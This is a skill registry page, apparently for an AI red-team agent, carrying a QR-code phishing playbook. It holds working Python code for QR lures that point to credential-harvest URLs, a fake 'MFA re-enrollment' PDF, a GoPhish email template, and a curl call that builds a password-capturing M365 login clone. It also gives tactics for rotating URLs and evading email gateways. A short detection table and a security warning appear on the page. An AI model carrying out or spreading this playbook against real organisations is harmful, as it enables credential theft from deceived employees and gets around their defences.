CtrlK
BlogDocsLog inGet started
Tessl Logo

quishing

QR-code phishing (Quishing) — generate QR lures embedding credential-harvest URLs, embed in PDF or email bodies, bypass email gateway URL scanners that cannot parse QR image payloads.

61

Quality

73%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md
SKILL.md
Quality
Evals
Security

QR-Code Phishing (Quishing)

Email gateway URL scanners parse hyperlinks and anchor tags — they rarely decode QR codes embedded as images. A QR code pointing at a credential-harvest page survives gateway scanning that would flag the same URL in plaintext. Quishing is now the primary bypass for organisations running Proofpoint / Mimecast / Microsoft Defender URL detonation.

Prerequisites

  • Python qrcode + Pillow in the sandbox (pip install qrcode[pil]).
  • GoPhish campaign infrastructure configured (gophish-campaign).
  • A credential-harvest landing page hosted on a lookalike-domain.
  • The lure-deconfliction handshake COMPLETE for this campaign.
  • Optional: EvilQR for dynamic QR payloads with real-time URL rotation.

Quick Reference

# Generate a basic QR code pointing at the harvest URL
python3 -c "
import qrcode
img = qrcode.make('https://login.<LURE_DOMAIN>/auth?id={{.RId}}')
img.save('/tmp/qr_lure.png')
"

# Generate with branding (logo overlay, colours)
python3 << 'PYEOF'
import qrcode
from qrcode.image.styledpil import StyledPilImage
from qrcode.image.styles.moduledrawers import RoundedModuleDrawer
from qrcode.image.styles.colormasks import RadialGradiantColorMask

qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_H)
qr.add_data('https://login.<LURE_DOMAIN>/auth?id={{.RId}}')
img = qr.make_image(
    image_factory=StyledPilImage,
    module_drawer=RoundedModuleDrawer(),
    color_mask=RadialGradiantColorMask(
        back_color=(255, 255, 255),
        center_color=(0, 51, 153),
        edge_color=(0, 102, 204),
    ),
)
img.save('/tmp/qr_branded.png')
PYEOF

MITRE ATT&CK Mapping

TechniqueIDUsage
Phishing: Spearphishing AttachmentT1566.001QR code image embedded in PDF / DOCX / email body
User Execution: Malicious LinkT1204.001Victim scans QR, phone browser opens harvest URL
Phishing for Information: Spearphishing LinkT1598.003Credential capture page behind the QR URL

1. QR Code Generation

Generate the QR PNG at error-correction level H (30% redundancy) so a centre logo can overlay up to 30% of modules without breaking decode:

import qrcode

HARVEST_URL = "https://login.<LURE_DOMAIN>/auth?id=<TRACKING_ID>"

qr = qrcode.QRCode(
    version=None,           # auto-size
    error_correction=qrcode.constants.ERROR_CORRECT_H,
    box_size=10,
    border=4,
)
qr.add_data(HARVEST_URL)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
img.save("/workspace/qr_lure.png")

To overlay a corporate logo in the centre (improves trust cues):

from PIL import Image

qr_img = Image.open("/workspace/qr_lure.png").convert("RGBA")
logo = Image.open("/workspace/target_logo.png").resize((60, 60))
pos = ((qr_img.size[0] - logo.size[0]) // 2,
       (qr_img.size[1] - logo.size[1]) // 2)
qr_img.paste(logo, pos, logo)
qr_img.save("/workspace/qr_branded.png")

2. Embedding in PDF

Build a PDF that mimics an IT notice (MFA re-enrollment, password policy update) with the QR image inline. The PDF body contains no clickable URL — only the image — so URL scanners see nothing.

from fpdf import FPDF

pdf = FPDF()
pdf.add_page()
pdf.set_font("Helvetica", "B", 16)
pdf.cell(0, 10, "Action Required: MFA Re-Enrollment", ln=True, align="C")
pdf.ln(8)
pdf.set_font("Helvetica", "", 11)
pdf.multi_cell(0, 6,
    "Our identity provider requires all employees to re-enroll their "
    "MFA token by <DEADLINE>. Scan the QR code below with your mobile "
    "device to complete the process.")
pdf.ln(6)
pdf.image("/workspace/qr_branded.png", x=65, w=80)
pdf.ln(6)
pdf.set_font("Helvetica", "I", 9)
pdf.cell(0, 6, "IT Security — Do not forward this document.", align="C")
pdf.output("/workspace/mfa_reenroll.pdf")

3. Embedding in Email Body (Inline Image)

Attach the QR as an inline CID image so it renders inside the email body rather than as a downloadable attachment:

# GoPhish template HTML — embed the QR as a CID-referenced inline image
cat > /workspace/qr_template.html << 'HTML'
<html><body style="font-family:Segoe UI,sans-serif;">
<p>Dear {{.FirstName}},</p>
<p>Please scan the QR code below to verify your account:</p>
<p style="text-align:center;">
  <img src="cid:qr_lure" width="200" height="200" alt="QR Code" />
</p>
<p style="font-size:11px;color:#666;">
  IT Security Team — <TARGET_ORG><br/>
  {{.Tracker}}
</p>
</body></html>
HTML

When sending via GoPhish, add the QR PNG as an attachment with Content-ID: <qr_lure> so the CID reference resolves.

4. Credential-Harvest Landing Page

The QR resolves to a landing page that clones the target's SSO portal. GoPhish captures submitted credentials and redirects to the real login:

# Minimal M365-themed harvest page for GoPhish
curl -sk -H "Authorization: Bearer $GOPHISH_API_KEY" \
  -H 'Content-Type: application/json' \
  "$GOPHISH_API/pages/" -d '{
    "name": "qr-sso-landing",
    "html": "<form method=\"POST\"><input name=\"email\" placeholder=\"Email\"/><input name=\"password\" type=\"password\" placeholder=\"Password\"/><button>Sign In</button></form>",
    "capture_credentials": true,
    "capture_passwords": true,
    "redirect_url": "https://login.microsoftonline.com"
  }'

5. EvilQR — Dynamic QR with URL Rotation

EvilQR serves a QR that proxies through a redirector, letting you rotate the harvest URL without regenerating the QR image:

# Clone and start EvilQR
git clone https://github.com/nickvdyck/evilqr /opt/evilqr
cd /opt/evilqr
# Configure redirect target
export EVILQR_TARGET="https://login.<LURE_DOMAIN>/auth"
python3 server.py --port 8443 --cert /opt/certs/server.pem

Benefit: if the harvest domain is burned mid-campaign, rotate the backend URL without re-sending the lure.

OPSEC

  • No plaintext URL in the email body or PDF metadata — the entire point is that the URL lives only inside the QR pixel data.
  • Tracking: append a unique ?id= per recipient so GoPhish can attribute scans. Use the GoPhish {{.RId}} template variable.
  • Mobile context: QR scanning happens on the victim's phone, outside the corporate proxy / EDR. The harvest page MUST be mobile-responsive.
  • PDF metadata: strip author / creator fields (exiftool -all= file.pdf) before attaching.
  • Send rate matches opsec_level (stealth ≤2/h, standard ≤20/h).

Tools & Resources

ToolPurpose
qrcode (Python)QR image generation with styling
fpdf2 (Python)PDF creation with embedded images
GoPhishCampaign orchestration, tracking, credential capture
EvilQRDynamic QR redirector with URL rotation
exiftoolStrip PDF metadata before delivery

Detection Signatures

DetectionSourceDescription
QR code in email attachmentProofpoint TAP / MimecastImage-based QR decode on inbound mail
Mobile OAuth token from unusual geoAzure AD sign-in logsSign-in from mobile IP outside corporate range
PDF with no clickable URLs but embedded imageContent inspectionAnomalous PDF structure (image-only, no URI objects)
Rapid MFA prompt after QR scanIdP logsCredential submission followed by MFA challenge

Error Handling & Edge Cases

  • QR too dense: if the URL exceeds ~2,953 chars the QR version maxes out. Use a short redirect URL (≤100 chars).
  • Logo too large: covering >30% of modules breaks decode even at ERROR_CORRECT_H. Keep the overlay ≤25%.
  • Email gateway decodes QR: some advanced gateways (Abnormal, Tessian) now OCR / decode QR in images. Fallback: deliver the PDF as a password-protected ZIP attachment.
  • Victim has no camera: include a tiny text link as fallback but know it will be scanned — weigh the trade-off.

Decision Gate

IF target org uses advanced QR-decode email gateway (Abnormal, Tessian)
  → deliver QR inside a password-protected PDF attachment
  → provide password in a separate email or SMS pretext
ELIF target org uses standard URL-scanning gateway
  → embed QR directly in email body as inline image
ELIF engagement requires maximum stealth
  → use EvilQR dynamic redirector + URL rotation
ELSE
  → standard QR in PDF attachment via GoPhish campaign

Evidence

Captured credentials → Credential node linked to the User node with the QR tracking id. Save GoPhish campaign results under evidence/phisher/<campaign>-quishing.json. Record which QR variant was used (static / EvilQR dynamic) and the mobile user-agent string.

Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.